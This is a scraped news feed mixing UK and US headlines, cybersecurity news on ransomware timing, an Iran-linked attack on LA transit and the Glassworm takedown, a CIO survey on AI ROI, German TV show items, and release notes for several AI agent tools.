Few companies attract controversy more than Palantir. Since the pandemic, the US data analytics company has grown voraciously, using its AI-driven software to make sense of intractable datasets for customers around the world. For the NHS, it analyses patient records; for the US military, it’s focused on targets in Iran. Palantir’s products are widely used, with the business now worth $375bn.

UK politics | Peter Mandelson was receiving sensitive security briefings about the Foreign Office’s work, and was in discussions with the head of MI6, before he had completed the developed vetting process, documents reveal.

Ukraine | Russian air raids on major Ukrainian centres including Kyiv, Dnipro and Kharkiv killed at least five people and wounded dozens by early morning on Tuesday, authorities said.

Environment | More than a million jobs, higher wages, nearly half a trillion pounds in investment in the pipeline – the UK’s green economy is powering ahead, according to research by the country’s leading business organisation.

US news | Donald Trump is reconsidering whether to keep pressing for a $1.8bn fund to compensate his allies, a person familiar with his thinking said, as the justice department paused the program to comply with a court order.

UK news | Sir Alan Bates has said that the schemes set up to compensate post office operators over the Horizon IT scandal have been an “utter disaster” and that the government should not be involved in running them.

Ransomware Operators Keep Business Hours. The Data Proves It

Mon, 01 Jun 2026 19:23:27 +0200

16,699 ransomware leak posts over 2 years show 84% drop Monday–Friday, peak at European afternoon hours. October spikes yearly. Someone analyzed 16,699 ransomware leak-site posts across 200 groups over two years and asked the question most threat intelligence reports dance around: when does this actually happen? The answer is mundane and useful. Ransomware runs on […]

Ransomware Operators Keep Business Hours. The Data Proves It

Mon, 01 Jun 2026 16:38:51 +0200

The post Ransomware Operators Keep Business Hours. The Data Proves It appeared first on IT Security News.

Ransomware Operators Keep Business Hours. The Data Proves It

Mon, 01 Jun 2026 16:21:02 +0200

Nex Playground: the family game-night gadget that revives the spirit of the Wii

Mon, 01 Jun 2026 16:16:36 +0200

Launching in the UK this month, this new pint-sized console revives the motion-controlled video game boom of the 00s – with better, safer tech

For a wonderful moment in the noughties, video games became a truly universal pursuit. As I witnessed my controller-phobic aunt swing a Wii remote and nail a tennis serve, while my great-grandmother furrowed her brow over sudoku puzzles on her Nintendo DS, it seemed my long-derided hobby had finally gone mainstream. The Nintendo Wii flew off the shelves, inspiring a wave of competitors such as the Xbox Kinect camera that encouraged people to play games by moving their bodies. But the tide turned: outside of still-niche VR gaming and the odd controller-waggler on the Switch, motion-controlled gaming has barely been seen for more than a decade.

Now, 20 years later, a new console is aiming to get the whole family flailing in front of the TV once again: the Nex Playground. Launching in the UK later this month, the first thing that struck me about this family-friendly device is just how tiny it is. The size of two and a half Rubik’s Cubes taped together, this impressively unintrusive device swaps cumbersome controllers for camera-controlled minigames, putting you and your family directly in the game. Using a wide-angle lens and AI-powered tracking tech, the Nex Playground offers over 50 games that track players’ bodies as they leap, flail and dance about the living room. It’s not hard to see the appeal.

Let’s Dance 2026: Darum musste Gewinnerin Anna-Carina Woitschack so viel Kritik einstecken

Mon, 01 Jun 2026 13:33:04 +0200

Sie gewann "Let’s Dance 2026", doch auf dem Weg zum Titel musste Anna-Carina Woitschack viel Kritik aushalten. Jetzt rechnet sie damit ab. Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, RTL+, Entertainment, Serien.

State of the CIO, 2026: CIOs set the course for AI ROI

Mon, 01 Jun 2026 12:17:19 +0200

Drowning in hype and under pressure from top leadership, CIOs are racing to operationalize strategic AI initiatives in an effort to demonstrate — and more importantly, deliver — measurable ROI from this equally disruptive and transformative technology.

The perpetual pipeline of AI pilots and rampant experimentation are giving way to a new mandate to prioritize and scale AI solutions with the greatest propensity to deliver business value and impact the bottom line.

Yet the ability to achieve quantifiable ROI from AI projects remains somewhat elusive for many CIOs as they spearhead AI’s next chapter. According to CIO.com’s 25th annual State of the CIO survey, which canvassed 662 IT leaders and 249 line of business users, less than a fifth (19%) of respondents say AI initiatives have met or exceeded business goals, and 18% admit fewer than a third of AI use cases are meeting defined expectations.

CIO.com / Foundry

Lack of clarity around business strategy and metrics is proving to be a major barrier to advancing CIOs’ AI agendas. Almost a third (32%) of this year’s State of the CIO respondents called out ill-defined ROI metrics as a hurdle to scaling AI, along with murky corporate AI strategy (31%) and a lack of in-house expertise, cited by 40% of this year’s respondents.

“No one is measuring ROI on an ongoing basis because we are facing counterpressures from every vice president and line-of-business domain looking to implement AI for their own optimization,” notes Andrea Ballinger, CIO at Rensselaer Polytechnic Institute (RPI). “We are saying yes to everyone without stepping back and focusing on the business cases that show real value.”

CIO.com / Foundry

Creating the infrastructure to achieve AI ROI

The dynamic is starting to shift as organizations prioritize targeted use cases and lay the groundwork for scalability and ROI. Cross-functional steering committees and specialized task forces are emerging as critical building blocks to identify, prioritize, and align use cases to enterprise goals. Eighty-three percent of IT leaders surveyed confirmed their organizations either have such structures in place or are planning to implement them within the year. IT is the dominant player on these committees with other functional areas well represented, including corporate leadership and security and risk teams, and to a lesser degree, business-oriented domains such as finance, legal, and HR.

Formal processes for approving AI projects are far less evolved. Slightly more than half (53%) of 2026 State of the CIO respondents have established some type of official approval process, with 28% planning to activate something within the next 12 months.

KPIs, another critical milestone for AI success, are also not well defined in most enterprises. Less than half (47%) of respondents have established formal metrics, with another 34% planning to do so within the year. For those measuring AI success, operational efficiency and process improvement rank as the top metric, cited by 40% of respondents, followed by employee productivity (34%) and cost reduction (30%). AI’s impact on revenue or growth is less of a factor today, cited by only 27% of respondents.

CIO.com / Foundry

First Student, a leading provider of school bus transportation services, has stood up a well-defined innovation framework and AI-specific council — two moves CIO Sean McCormack credits to the firm’s early success scaling AI initiatives aligned to key business goals. The AI council, with representation across business leaders and the C-suite, meets regularly to review AI use cases and identify those with most potential for payback.

“We have more discipline around business cases than most companies,” says McCormack. “Everything is metrics-driven and dependent on proving value. By the time we put something into production, it’s been through a series of proof of concepts, there’s been a deep dive on financials, and we are able to move quickly and demonstrate value.”

Three years into its AI journey, TIAA has a rich stable of generative AI and agentic AI use cases spanning fraud detection and prevention along with call center companions and a litany of other tools. The majority (85%) of the financial services firm’s workforce uses TIAA Gate, its internal AI platform. Yet even with all the right structures in place — investment in training, robust governance frameworks, steering committees, an AI center of excellence (CoE), and an enterprise mandate for strategic use of AI as part of everyone’s performance goals — ROI remains a challenge.

“What’s on paper sometimes doesn’t turn into real ROI given the reality of operational costs,” notes Sastry Durvasula, TIAA’s chief operating, information & digital officer. “Something may prove to be a successful pilot, but you need to understand the full cost of operations — for example, the efficiencies of running tokens or how you’re handling traffic or RAG [retrieval augmented generation].”

Thomas Prommer, a longtime CTO, CIO, and CAIO, makes three recommendations to facilitate the quest for AI ROI. First, establish joint accountability at the project level with a named technical and business sponsor for each project, both of whom co-own outcomes. His firm had success replacing a centralized AI CoE with embedded AI squads that live inside individual business units. The CoE model created a clearinghouse that nobody owned, whereas embedded teams force accountability at the point of business impact, he explains.

Prommer’s third recommendation is to implement stage-gated funding tied to outcome milestones, not deliverable milestones. “We don’t fund ‘build a model,’ we fund ‘reduce returns by 8% on this category’ with checkpoints at 90, 180, and 270 days,” he explains. “Projects that miss two checkpoints gets killed. We kill roughly a third of what we start and that’s healthy.”

Developing a keen understanding of business workflows and engineering the experience layer for the people tasked with executing AI-enriched workflows is essential to creating value and effective adoption at scale.

“If someone on the data science team builds a great model that provides insights on improving manufacturing efficiency, but it’s so far removed from what the shop floor supervisor does in day-to-day life, it will never be used at scale,” says Sriram Krishnasamy, the former chief digital information and transformation officer at FedEx.

The CIO as chief AI orchestrator

Who better than the CIO to usher in the organizational structures and business practices that help identify the right AI use cases and establish metrics for success. IT leaders’ in-depth knowledge of AI and the broader technology stack is a plus. But the reason top executives are leaning on CIOs as critical orchestrators of AI is their proven ability to work effectively across business functions and serve as change management champions.

Almost half (46%) of this year’s respondents view the CIO as a business leader who proactively identifies business needs and opportunities and follows up with technology and provider recommendations that align with stated business goals. The vast majority (83%) view CIOs as a changemaker.

Much like last year, the top CEO priority for IT leaders is to research and implement AI products and projects, cited by 27% of respondents. IT leaders are meeting the mandate by working far more closely with lines of business on AI applications, according to 79% of respondents.

“AI requires so much executive engagement — in our case, it made the most sense for me to lead the charge,” says First Student’s McCormack, also a member of CIO.com’s Hall of Fame.

This year’s IT leader respondents expect to accelerate and expand involvement with AI/machine learning (76%) and agentic AI (70%), as well as cybersecurity (63%). Responding organizations anticipate a boost in investments across the full complement of AI technologies, including generative AI (67%), machine learning (66%), and agentic AI (65%) over the coming year.

CIO.com / Foundry

First Student is currently running AI in production at scale across multiple use cases, including for predictive maintenance, fleet and driver safety, contract development, automated hiring, agentic software development, and agentic voice bots that assist internal users with help desk and HR issues. As the company builds out its portfolio of AI-enabled use cases, McCormack says it’s critical to ground everything in a flexible architecture.

“It’s such a changing landscape; it’s difficult to pick a solution,” he explains. “We’re building our own architecture so we can quickly switch models” and not be dependent on one system, he says.

The rest of the IT agenda

While AI commands an all-hands-on-deck approach, it’s not the only CEO directive for CIOs this year. Cyber and data security remain top-of-mind in the C-suite, with a quarter of State of the CIO respondents noting it as a top CEO priority for 2026, up from 20% last year. CEOs are also looking for CIOs to strengthen IT and business collaboration, cited by 23% of 2026 respondents.

To achieve those directives, CIOs are expanding technology initiatives in areas such as business process and IT automation (56%), security and risk management (55%), and data and business analytics (54%).

CIO.com / Foundry

Building a solid data and governance foundation is the most important agenda item at RPI, primarily in preparation for more extensive AI deployment and adoption. Ballinger, 70 days into her tenure as RPI CIO, concedes the educational institution is not aiming to be on the first adopter wave of AI innovation. Rather, its strategy is to adapt, grow, and transform organizational structures and its data ecosystem in pursuit of maximizing AI’s promised advantages.

Ballinger is currently shopping an RFP that encompasses a data fabric layer, secure containerization, and a data factory approach. “We are designing the ecosystem with strategy and KPIs in mind,” she says. “The entire process is predicated on deciding what business cases are valuable before they hit the data ecosystem. We’re not looking to put something into the ecosystem and hope it gets a return.”

With the pace of change growing more intense and the stakes surrounding AI innovation soaring higher, the CIO role continues to be more business-oriented and less straight technology focused. Eighty-four percent of this year’s IT leader respondent pegged the CIO position as more digital and innovation focused while 82% confirmed that CIOs are more likely to actively lead digital transformation efforts compared to their business counterparts.

With the average CIO now juggling 1.6 positions, including chief security officer, CISO, CAIO, and other business-related posts, the job continues to become more expansive, highly strategic, and more fulfilling, especially for leaders willing to close the door on the traditional “keeping the lights on” CIO model and embrace new challenges.

“The CIO of 2026 is a hybrid — half operating architect, half risk officer,” Prommer says. “The technology choices are getting easier, but the business and ethical choices are getting harder. CIOs who only know the tech stack will be reporting to CIOs who know both.”

"Let’s Dance" 2026: Die Statistik hat recht behalten - Mit insgesamt 456 Punkten holt dieser Star das Finale und ist Dancing Star!

Sat, 30 May 2026 09:32:24 +0200

Der endgültige Punkte-Check zu Let’s Dance 2026! Die nackten Zahlen lügen nicht: Mit insgesamt 456 Punkten holt dieser Star nach einem unfassbaren Gleichstand das Finale. Hier ist die Abrechnung. Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, RTL+, Entertainment, Waipu.tv, Neu auf RTL+: Diese Show-, Film- und Serienneuheiten starten im Mai 2026.

"Let’s Dance"-Finale 2026: Der Punkte-Check - Die finale Jury-Wertung vom 29.05. und wie es nächste Woche weitergeht

Sat, 30 May 2026 01:47:07 +0200

"Let’s Dance" 2026: Der große Punkte-Check vom Finale am 29.05. zeigt gnadenlose Jury-Urteile. Und aufgepasst: Das passiert nächste Woche, denn die Show ist noch nicht vorbei! Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, Entertainment, Waipu.tv, RTL+, Neu auf RTL+: Diese Show-, Film- und Serienneuheiten starten im Mai 2026.

"Let’s Dance" 2026: Das ist der "Dancing Star" - Sensationeller Finalsieg steht fest!

Sat, 30 May 2026 01:47:05 +0200

Die 19. Staffel von "Let’s Dance" ging mit einem der spektakulärsten Finale der Show-Geschichte zu Ende. Das Niveau war mörderisch, die Jury-Wertungen lagen extrem eng beieinander und am Ende entschieden die Zuschauer über Sieg und Niederlage. Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, RTL+, Entertainment, Neu auf RTL+: Diese Show-, Film- und Serienneuheiten starten im Mai 2026.

Iranian Hackers Linked to Cyberattack on Los Angeles Transit Network

Sat, 30 May 2026 01:13:18 +0200

A cyberattack that disrupted parts of Los Angeles’ public transit network earlier this year has now been linked to a hacking group allegedly connected to Iran’s intelligence apparatus, according to new findings from an Israeli cybersecurity company. The LA public transport cyberattack, which targeted the Los Angeles County Metropolitan Transportation Authority (LACMTA) in March, was reportedly carried out by a group known as “Ababil of Minab,” researchers at Tel Aviv-based Gambit Security said in a report released Tuesday. According to Gambit, the Iranian hackers behind the incident not only stole sensitive data but also attempted to damage systems and interfere with recovery efforts. The attack forced LACMTA to temporarily shut down portions of its network and disrupted several digital services used by passengers across Los Angeles.

Gambit Finds Evidence Linking Iranian Hackers to LACMTA Attack

The cybersecurity firm stated that at least 700 gigabytes of information were taken during the breach. The stolen material allegedly included emails, backups, databases, and other internal files belonging to LACMTA. Gambit said the data was discovered after it was accidentally exposed online. Researchers added that forensic evidence connected the exposed server to a previously identified hacking campaign that Israeli officials and cybersecurity experts have attributed to Tehran. The Los Angeles transit authority did not respond to questions regarding Gambit’s findings. However, in a statement released last month, LACMTA officials said they were working with law enforcement agencies and cybersecurity specialists to restore affected systems. “Attribution is part of the investigation, and we will not speculate,” the statement said.

LA Public Transport Cyberattack Disrupted Passenger Services

The LA public transport cyberattack disrupted several passenger-facing digital systems in Los Angeles, including services displaying train and bus arrival times as well as functions allowing riders to add funds to digital transit cards. Despite the interruptions, LACMTA stated that transportation operations themselves were not affected. Officials also maintained there was “no indication” that customer or employee data had been compromised. Still, Gambit’s report suggested the Iranian hackers carried out a far more destructive operation than initially understood. The firm said the attackers deleted virtual machines, databases, and storage volumes while also damaging backup infrastructure. According to the report, the goal appeared to extend beyond simple data theft. “In some cases, the attackers also acted to destroy systems and impair the recovery capability of the affected organizations,” Gambit noted. The attack on LACMTA has drawn increased attention because Los Angeles is scheduled to serve as one of the host cities for the FIFA 2026 World Cup, which begins on June 11, 2026. Cybersecurity experts have warned that transportation infrastructure could become an increasingly attractive target ahead of major international events.

Ababil of Minab Claimed Responsibility for the Los Angeles Cyberattack

Suspicion surrounding Iranian hackers emerged shortly after an obscure group calling itself “Ababil of Minab” publicly claimed responsibility for the attack. Approximately two weeks after LACMTA detected the intrusion around March 16, the group appeared online and said it had wiped large amounts of data during the operation. The hackers also released a video that allegedly showed them navigating through the Los Angeles transit agency’s network during the cyberattack. The name “Ababil of Minab” references a deadly bombing at a girls’ school in the Iranian city of Minab, where officials said more than 175 children and teachers were killed. Researchers noted that the group’s rhetoric and tactics closely resemble those used by so-called vigilante hacking groups that American and Israeli analysts believe operate as fronts for Iranian intelligence services. Despite those allegations, the threat actor group has claimed to be an independent activist organization. Eyal Sela, Gambit’s director of threat intelligence, said experts had already suspected a connection between Ababil and the Iranian government before the latest forensic findings emerged. “A connection between Ababil and the Iranian state has been a working assumption,” Sela said. “What our research adds is the forensic evidence to support it.”

Amazon deletes devs’ tokenmaxxing leaderboard to minimize costs

Sat, 30 May 2026 01:04:03 +0200

Enterprises everywhere have been urging employees to adopt AI, with internal leaderboards springing up to show who has used the most AI tokens. Such games can backfire, though, as Amazon recently discovered.

Kirorank, an unofficial leaderboard tracking usage of Amazon’s Kiro AI tool, ranked workers according to their AI activity, but senior managers at Amazon found that employees were creating AI agents to carry out unnecessary tasks in an attempt to boost their scores, a practise known as tokenmaxxing, according to a report in the Financial Times. The tracker has now been taken offline.

Kirorank

The FT quoted an Amazon senior VP as saying that the leaderboard had been built “with good intentions” but the compute costs it generated were too high.

Amazon is not the only company to find that attempts to boost AI use can have negative implications. In April, Meta killed an unofficial ranking system called Claudeoconomics, which had also led to a frenzy of tokenmaxxing.

Token usage is easy to measure; the business benefits of that usage less so. AI vendors are looking for better ways to measure the value of their services, so far with little success. Salesforce’s attempt to develop a new metric was not well received.

Enterprises now find themselves facing a delicate balancing act, as they look to encourage AI use without racking up considerable computing costs. In March, PwC’s US CEO Paul Griggs told executives that those who did not use AI would not be at the company for very long. Use AI — but not too much, appears to be the message.

v2.1.157

Fri, 29 May 2026 22:31:24 +0200

What's changed

Plugins in .claude/skills directories are now automatically loaded, no marketplace required
Added claude plugin init to scaffold a new plugin in .claude/skills
Added autocomplete for /plugin arguments: subcommands, installed plugin names, and plugins from known marketplaces
claude agents: the agent field in settings.json is now honored for dispatched sessions, with --agent to override it
EnterWorktree can now switch between Claude-managed worktrees mid-session
tool_decision telemetry events now include tool_parameters (bash commands, MCP/skill names) when OTEL_LOG_TOOL_DETAILS=1
Worktrees managed by Claude are now left unlocked when the agent finishes, so git worktree remove/prune can clean them up
Fixed unprocessable images (zero-byte, corrupt) attached via paste, MCP, or dialog crashing the request instead of becoming a text placeholder
Fixed sandbox network permission prompts appearing in auto and bypass-permissions mode when using the desktop app, IDE extensions, or SDK
Fixed claude agents completed sessions not retiring when an idle subagent was still parked or had leaked a backgrounded shell
Fixed claude agents pressing Esc not cancelling a slow "opening…", leaving the list unresponsive
Fixed background agent worktrees under .claude/worktrees/ being orphaned after the 30-day job retention sweep
Fixed background sessions re-attached after a sleep/wake not telling the model the correct date
Fixed copy-on-select in claude agents not reaching the system clipboard inside tmux with set-clipboard on (regression in 2.1.153)
Fixed --resume not reporting background subagents that were running when the previous Claude Code process exited
Fixed the --resume session picker leaving its contents on the terminal after exiting in fullscreen mode
Fixed --worktree and --worktree --tmux returning to the canonical repo root instead of the current linked worktree
Fixed the /model picker showing an incorrect "Newer version available" hint when the selected model is already the newest in its family; the pinned-model row now shows the model's description instead of its raw ID
Fixed literal markdown markers (backticks, asterisks) appearing in the in-progress message text in fullscreen mode
Fixed the terminal freezing after approving the managed-settings security dialog at startup
Fixed a rare duplicate line appearing in scrollback after the terminal UI redraws
Fixed right-click paste duplicating the clipboard in the VS Code, Cursor, and Windsurf integrated terminals
WSL: fixed image paste (alt+v keybinding), screenshot paste on Windows 11, and added support for dragging images from Windows Explorer
Improved performance of long and resumed conversations by eliminating redundant message-rendering recomputations
/terminal-setup now disables GPU acceleration in VS Code/Cursor/Windsurf integrated terminals to prevent garbled-text rendering
The Feature of the Week credit-claim status now appears as a notification in the status area instead of a line above the prompt
claude agents: slash-command autocomplete in the dispatch input now matches substrings
Removed the "bash commands will be sandboxed" startup banner — sandbox status still shows in /status and when a command is blocked
Removed the "/ide for …" startup hint toast
[IDE] Fixed clicking Stop while a background subagent is running not actually stopping it
[VSCode] Fixed the fast mode indicator not appearing on Opus 4.8
Pressing backspace right after a workflow trigger keyword now dismisses the workflow request (same as alt+w) instead of deleting a character
Added a "Workflow keyword trigger" setting in /config to stop the word "workflow" in a prompt from triggering a dynamic workflow

Let's Dance 2026: Das große Finale in unserem Live-Ticker - Wer wird Dancing Star?

Fri, 29 May 2026 21:03:09 +0200

"Let’s Dance"-Finale 2026 im Live-Ticker: Wer wird "Dancing Star"? Joel Mattli, Milano oder Anna-Carina Woitschack? Alle Tänze, Jury-Urteile & die Entscheidung! Dieser Artikel wurde einsortiert unter RTL, RTL+, Entertainment, Waipu.tv, Neu auf RTL+: Diese Show-, Film- und Serienneuheiten starten im Mai 2026.

Amazon deletes devs’ tokenmaxxing leaderboard to minimize costs

Fri, 29 May 2026 18:32:43 +0200

Kirorank

The FT quoted an Amazon senior VP as saying that the leaderboard had been built “with good intentions” but the compute costs it generated were too high.

This article first appeared on InfoWorld.

China’s Humanoid Robots Dance, Wiggle, and Thread Needles in Tokyo

Fri, 29 May 2026 16:32:57 +0200

Chinese humanoid robot makers drew attention in Tokyo as Japan emphasized precision, durability, and real-world robotics testbeds.

Hermes Agent v0.15.1 (2026.5.29) — The Patch Release

Fri, 29 May 2026 03:16:12 +0200

Hermes Agent v0.15.1 (v2026.5.29)

Release Date: May 29, 2026
Since v0.15.0: 28 commits · 21 merged PRs · hotfix release · 9 contributors

The Patch Release. A same-day hotfix for v0.15.0. Headline fix: the dashboard infinite-reload loop that hit anyone running v0.15.0 in loopback mode (Docker, hosted Hermes, fresh installs). A handful of other v0.15.0 follow-ups go along for the ride — kanban worker SIGTERM, /model picker unification, /yolo session bypass, the full 19,932-entry skills.sh catalog, .md media delivery restoration, gateway probe-stepdown safety, web-URL redaction passthrough, kanban worker vision on referenced images, hindsight observation-default. Docker users get an explicit --insecure opt-in env var (no more bind-host inference), MCP server bare-command PATH resolution, and arm64 PR-build cache fixes.

✨ Highlights

Dashboard 401 reload loop fixed — In loopback mode the dashboard's identity probe (/api/auth/me) returns 401 by design, but v0.15.0's stale-token reload guard treated every 401 as a rotated session token and full-page-reloaded to pick up a fresh one. Every successful sibling call cleared the one-shot reload guard, so the page reload-looped forever (Firefox: "Navigated to /sessions" storm; Chrome: React re-render storm). Fix adds an allowUnauthorized opt-out to fetchJSON that skips only the loopback stale-token reload — 401 still throws so AuthWidget swallows it, gated-mode login_url redirects are unaffected. Closes #34206, #34202. (#30698 — @austinpickett)
Docker dashboard --insecure is now an explicit env opt-in, never derived from bind host — Previously the Docker entrypoint inferred --insecure when the dashboard bound to a non-loopback host. That conflated "I want LAN access" with "I want to disable the same-origin guard." The fix splits them: bind host is bind host, and disabling the dashboard's loopback auth requires an explicit HERMES_DASHBOARD_INSECURE=1. Existing setups that genuinely wanted insecure binding must now set the env var. (#34188, #34204 — @benbarclay)
MCP bare command resolution under Docker — MCP servers configured with bare commands (npx, npm, node) now resolve against /usr/local/bin so they actually launch inside the Docker image where those binaries live. v0.15.0 left these failing silently in containers when the agent's effective PATH didn't include the Node toolchain location. (#34186 — @benbarclay)
Skills page sidebar / source pills restored — A stale useMemo dependency in the new dashboard skills page collapsed the source pills and category sidebar to "All" only. Fixed; both surfaces now reflect the live catalog state. (#34194)
Kanban worker can be killed again — SIGTERM on a kanban worker was being absorbed by an intermediate process and the worker stayed running. Closes #28181. (#34045)
Full skills.sh catalog (858 → 19,932 entries) — The skills hub page was pulling a partial paginated catalog. The fetch now walks the sitemap, so all 19,932 skills.sh entries surface in the picker instead of just the first 858. (#34025)

🐛 Bug Fixes

Dashboard / Web

/api/auth/me 401 no longer triggers reload loop in loopback mode — (#30698 — @austinpickett)
Skills page source pills + category sidebar restored — stale useMemo dep (#34194)

Docker

--insecure is now explicit opt-in via env var, not derived from bind host (#34188 — @benbarclay)
Dashboard test suite repaired to match the insecure-opt-in fix (#34204 — @benbarclay)
arm64 PR builds skip the GHA cache to avoid cache-thrash on cross-arch builders (#33704 — @BROCCOLO1D)

MCP

Bare npx/npm/node resolve against /usr/local/bin for Docker compatibility (#34186 — @benbarclay)

Kanban

Worker SIGTERM actually terminates the process (#34045)
Workers receive images referenced in task bodies for vision-capable models (#34210)

Gateway

.md files deliver again — media-delivery validation defaults to denylist-only instead of an overly-narrow allowlist (#34022)
Probe stepdown safety — on a context-overflow without an explicit provider context limit, the agent no longer steps down to a smaller model based on an unknown ceiling (salvage of #33673) (#33826)

CLI

/yolo mid-session enables the per-session bypass instead of just toggling the env var (which the running agent had already snapshotted) (#33931 — @kshitijk4poor)
/model and hermes model show the same list, plus disk cache for picker startup (#33867)

Skills

Full skills.sh catalog via sitemap — 858 → 19,932 entries (#34025)

Redaction

Web URLs pass through unchanged — the redactor was eating query parameters that looked credential-shaped (#34029)

✨ Small Features

Hindsight default narrowed to observation-only for recall_types — tool path is also narrowed (#34079 — @nicoloboschi, follow-up #34091 — @kshitijk4poor)
Memory providers receive completed-turn message context — salvage of #28065 (#34097 — @kshitijk4poor, credit to @devwdave)

📚 Documentation

--no-supervise / HERMES_GATEWAY_NO_SUPERVISE documented in the reference docs (follow-up to #33583) (#33751 — @r266-tech)

🛠️ Infrastructure

Vercel deploy workflow accepts workflow_dispatch so docs deploys can be manually triggered (#34081)
@nous-research/ui bumped to 0.18.2 (Nix npmDepsHash also updated to match) (#34193 follow-ups — @austinpickett)

👥 Contributors

Core

@teknium1

Community

@austinpickett — dashboard 401 reload-loop fix (the headline), @nous-research/ui bump, Nix npmDepsHash updates
@benbarclay — Docker --insecure opt-in, MCP bare-command resolution, dashboard test repair
@kshitijk4poor — /yolo session bypass, completed-turn memory context salvage, hindsight follow-up docs
@nicoloboschi — hindsight recall_types observation default
@BROCCOLO1D — arm64 PR build cache fix
@r266-tech — --no-supervise reference docs
@yangguangjin — probe stepdown safety (salvage of @yanghd's #33673)
@devwdave — completed-turn memory context (credited via salvage)
@andrewhosf — co-author

Issue Reporters (the 401 loop)

@routesmith (#34206)
@beeaton (#34202)

Full Changelog: v2026.5.28...v2026.5.29

"Let’s Dance" 2026: Dieser Star sollte das Finale gewinnen - Diese 3 Gründe sprechen klar dafür

Thu, 28 May 2026 14:17:58 +0200

Während andere wackelten, lieferte sie Woche für Woche ab. Genau deshalb könnte der "Dancing Star"-Titel schon vergeben sein. Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, RTL+, Entertainment, Serien.

Last.fm Goes Independent After Breaking Up With Paramount Skydance

Thu, 28 May 2026 13:05:42 +0200

Last.fm announced that it is independent again after separating from Paramount Skydance, nearly two decades after CBS acquired the music-tracking service in 2007. The company says accounts, scrobbles, privacy settings, Pro subscriptions, and billing information will remain intact. Additional details are forthcoming. Engadget reports: "Today, Last.fm begins a new chapter as an independent company," the announcement reads. "Ownership has changed, but the product you use every day has not." It also said that it will keep its current team. Last.fm is a music website that can track what you listen to across platforms, apps and streaming services, including Spotify, YouTube and Apple Music.Â [...] Last.fm started as an internet radio station in 2002, and it didn't get scrobbling until a few years later when it merged with the original team that created the tracking process. It operated as an independent company until it was acquired by CBS Interactive, which is now part of the merged Paramount Skydance Corporation, for $280 million in 2007. In 2014, it killed off its $3-a-month subscription radio service to focus on tracking your listening habits on other providers. The company promised to share more about what you can expect from the transition in the coming weeks, but everything will work on Last.fm "exactly as it did yesterday" for now.

Read more of this story at Slashdot.

The Art of Kernel Module Harmony

Thu, 28 May 2026 00:30:54 +0200

Every modern Linux system relies on a delicate runtime dance. The SUSE Linux Enterprise Server (SLES) kernel includes more than 2,000 loadable modules out of the box, with about 60 percent of them serving as hardware drivers. But what happens when you need to introduce a brand-new storage controller driver or swap out an existing […]

The post The Art of Kernel Module Harmony appeared first on SUSE Communities.

How cybersecurity firms took down Glassworm botnet in one shot

Wed, 27 May 2026 14:38:31 +0200

Glassworm infected developers through poisoned tools and packages until a coordinated takedown killed all four of its C2 channels at once. On May 26, 2026, at 14:00 UTC, CrowdStrike Counter Adversary Operations team, working with Google and the Shadowserver Foundation,…

The post How cybersecurity firms took down Glassworm botnet in one shot appeared first on IT Security News.

How cybersecurity firms took down Glassworm botnet in one shot

Wed, 27 May 2026 14:23:53 +0200

OpenClaw 2026.5.26

Wed, 27 May 2026 13:46:34 +0200

2026.5.26

Highlights

Faster Gateway and replies: startup avoids repeated plugin, channel, session, usage-cost, warning, scheduled-service, and filesystem scans; visible replies separate user-facing sends from slower follow-up work; Gateway runtime/session caches churn less under load.
Transcripts are core: transcript-backed meeting summaries, source-provider chunks, cleaned user turns, media provenance, Codex mirrors, WebChat replies, and CLI/TUI replay now use one more reliable transcript path.
More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots, remote media staging, and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage/WhatsApp get reaction approvals.
Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.
Safer content boundaries: Browser snapshot reads honor SSRF policy, system-event text cannot spoof nested prompt markers, fetched file text is wrapped as external content, ClickClack inbound sender allowlists run before agent dispatch, stale device tokens are rejected, and serialized tool-call text is scrubbed from replies.
Providers, Codex, and local models are steadier: named auth profiles, OpenAI sampling params, Codex app-server resume/timeout/usage-limit recovery, dynamic tool-schema guards, xAI usage-limit surfacing, Ollama top-p normalization, and local approval resolution reduce provider-specific dead ends.
More reliable install/update/release paths: Alpine installs, trusted runtime fallback roots, stable update channels, Docker/package timeouts, Windows Scheduled Tasks, Windows/macOS proof lanes, Testbox/Crabbox delegation, plugin publish checks, and macOS runner bootstraps all got hardened.
Better observability: Activity tab, gateway secret-prep traces, tool/model stream progress, explicit fast-mode status, systemd Gateway hygiene, OpenTelemetry LLM spans, release performance evidence, and richer telemetry signals make failures easier to inspect.

Changes

Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs, CLI surface, source-provider chunks, and cleaned user-turn persistence.
Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (#85667) Thanks @fuller-stack-dev.
Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (#83019, #80370, #86191)
Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual /approve commands. (#85894, #85952, #85477)
Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (#84094)
TUI/status: queue prompts submitted while an agent is busy and show explicit fast-mode state plus richer systemd Gateway hygiene in status output. (#86722, #87115, #86976)
Exec approvals: hide durable approval actions that are unavailable for the current prompt and keep approval runtime tokens local-only so stale prompts cannot offer misleading controls. (#86270, #86359)
Plugin SDK: add reaction approval helpers and keep diagnostic event root exports discoverable across function-name and alias-bound module graphs. (#86735, #87084)
Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (#86798, #86355) Thanks @ngutman.
Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (#84649, #85843, #86517, #86678)
Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.
